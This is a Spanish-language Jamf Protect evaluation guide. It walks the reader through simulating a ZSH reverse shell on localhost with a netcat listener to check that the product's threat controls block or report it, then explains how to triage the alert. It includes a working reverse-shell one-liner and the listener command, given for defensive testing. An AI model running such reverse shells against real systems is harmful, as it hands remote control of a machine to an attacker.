Prueba y análisis de controles de amenazas avanzados: ATCReverseShellZSH - Guía de evaluación de Jamf Protect

Guía de evaluación de Jamf Protect

Solution
Application
Content Type
Documentación técnica
Utilities & Services
ft:locale
es-ES

Un patrón de ataque habitual consiste en una sintaxis ZSH utilizada para crear una shell inversa. Esto suele hacerse una vez que el atacante ha conseguido acceder a un sistema y necesita establecer una shell interactiva improvisada. Una shell inversa es una técnica que utilizan habitualmente los atacantes por la que vuelven a conectar al sistema del atacante para dominar y controlar sistemas vulnerados. Esto permite que el atacante tome el control del equipo vulnerado, normalmente con la finalidad de realizar el reconocimiento, ejecutar más fases del ataque o llevar a cabo la filtración externa de datos.

Use esta prueba para evaluar cómo el control de amenazas avanzado puede bloquear y comunicar un ataque de shell inversa ZSH (ATCReverseShellZSH).

Requirements

En su plan de prueba de Jamf Protect, asegúrese de que el ajuste Advanced Threat Controls (Controles de amenazas avanzados) esté definido como Block and Report (Bloquear y comunicar) o Report Only (Solo comunicar).

Si usa una máquina virtual, haga una instantánea a la que volver después de terminar esta simulación.

  1. Abra la primera sesión de Terminal y ejecute el siguiente comando.

    Esta sesión de Terminal representa a un atacante que crea un agente de escucha en su máquina para finalmente volver a conectarse desde el sistema vulnerado.

    # start a netcat listener on local host port 4444
    nc -l 4444
    
  2. Abra otra ventana de Terminal y ejecute el siguiente comando.

    Esta sesión de Terminal representa un sistema vulnerado desde el que el atacante confirma que su agente de escucha está activo.

    # verify that port 4444 is up
    sudo lsof -i -P | grep "4444"
  3. Desde la misma ventana de Terminal, ejecute los siguientes comandos para crear una shell inversa de ZSH para volver a conectar con el host local en el puerto 4444.
    # Summon new shell
    sudo -s
    
    # Create reverse shell
    /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &
  4. La salida depende de su configuración de controles de amenazas avanzados:
    • Si ha seleccionado Block and Report (Bloquear y comunicar), la ventana secundaria de Terminal (el sistema «vulnerado») indica mediante una notificación nativa de macOS que el trabajo ZSH ha finalizado, el ataque se ha detenido y no se ha establecido ninguna conexión.

    • Si ha seleccionado Report Only (Solo comunicar), en la primera ventana de Terminal del agente de escucha netcat («atacante») ahora aparecerá una shell inversa después de distribuir la carga útil desde la ventana «vulnerada». Esto crea una conexión entre el sistema vulnerado y el agente de escucha del atacante. El atacante puede ejecutar comandos en el sistema «vulnerado» a través del agente de escucha netcat. Por ejemplo, nc -l 127.0.0.1 4444 y whoami.

    Una vez completados los pasos de pruebas indicados, aparecerá una nueva alerta llamada ATCReverseShellZSH dentro de Jamf Protect Cloud en Alerts (Alertas).
  5. Abra y revise la alerta ATCReverseShellZSH. Fíjese en los siguientes elementos de la alerta:
    Control Type (Tipo de control)Alert Element (Elemento de alerta)
    Block and Report (Bloquear y comunicar)

    La Action (Acción) indica Prevented (Evitado) y el Status (Estado) indica Auto Resolved (Resuelto automáticamente). Esto se debe a que Jamf Protect interviene en una técnica de ataque habitual (shell inversa) antes de que se produzca.

    Report Only (Solo comunicar)

    Ahora puede cambiar el Status (Estado) de la alerta como corresponda después de revisar los detalles de la alerta y determinar la acción correctiva.

    En una situación real, la investigación de esta alerta debería empezar por examinar el árbol de procesos para saber cómo se ejecutó el programa, y luego los argumentos de los procesos relativos a la información sobre el objetivo y la metodología del ataque.

    En Processes (Procesos) > Process tree (Árbol de procesos), examine cómo se ejecutó este programa:
    • Si el bloqueo está desactivado, detenga el proceso principal del comando zsh, ya que probablemente sea la shell de un atacante.

    • Si las etiquetas del proceso muestran que se ejecutó con Terminal.app, entonces lo más seguro es que el usuario final sea el responsable, y no un atacante.

    • Si los comandos zsh no están bajo un proceso Terminal.app, detenga el proceso responsable de ejecutarlos y realice más análisis para determinar si hay otras señales de que este sistema haya sido vulnerado.

    En Processes (Procesos) > Process Arguments (Argumentos de procesos), puede ver si la dirección IP y el puerto de destino se han utilizado para la conexión remota, cómo se ha iniciado la sesión remota y en qué se inició el argumento de la shell inversa (en este ejemplo, /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &).

  6. Si tomó una instantánea de la máquina virtual antes de completar este escenario de pruebas, el método de limpieza más sencillo consiste en revertir la instantánea. De lo contrario, ejecute estos comandos en Terminal para eliminar los archivos de pruebas creados.
    # Close the netcat window by entering exit.
    exit